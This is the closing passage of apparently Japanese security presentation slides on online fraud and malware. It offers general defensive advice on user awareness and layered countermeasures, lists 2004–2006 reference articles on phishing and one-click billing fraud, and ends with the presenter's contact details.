なく犯罪のプロの可能性が高い。そのため、今後、オンライン詐欺の手口はま

すます巧妙になっていくだろう

だまされないためにはユーザーのセキュリティ意識の向上が必須である

マルウェアに侵入されてしまうと最悪の場合、金銭被害やプライバシの侵害な

どにつながる

マルウェアにはさまざまなタイプが存在する。それらに対抗するには、複数の

対策を組み合わせた方が効果的

「怪しいサイトにアクセスしない」「怪しいサイトからファイルをダウンロードしない」

など自らの行動を規制することも重要

被害に遭わないために相手の手口を知ることは重要。手口を知ることでどう防

御するかを考えることができる
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参考情報

クリックしただけで料金請求された場合の対応方法について（IPA/ISEC, 

8/16/2006） http://www.ipa.go.jp/security/ciadr/oneclick.html

平成17年中のサイバー犯罪の検挙及び相談受理状況等について（警察庁, 

2/23/2006）

http://www.npa.go.jp/cyber/statics/h17/image/pdf28.pdf

いまさらフィッシング詐欺にだまされないために（@IT, 12/25/2004）

http://www.atmarkit.co.jp/fsecurity/special/54phishing/phishing.html

フィッシング詐欺の手口［前編］ 本物と偽物のサイトを組み合わせるフィッシン

グ詐欺（@IT, 6/22/2005）

http://www.atmarkit.co.jp/fsecurity/special/65phishing/phishing01.html

企業責任としてのフィッシング対策：敵を知る――最新のフィッシング詐欺の

手口とは（ITmedia, 3/16/2006）

http://www.itmedia.co.jp/enterprise/articles/0603/16/news003.html

星澤裕二のSecurity Watch（日経ITpro）

http://itpro.nikkeibp.co.jp/watcher/hoshizawa/index.html
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株式会社セキュアブレイン
プリンシパル セキュリティ アナリスト

星澤 裕二
yuji_hoshizawa@securebrain.co.jp
http://www.securebrain.co.jp/

ご清聴ありがとうございました


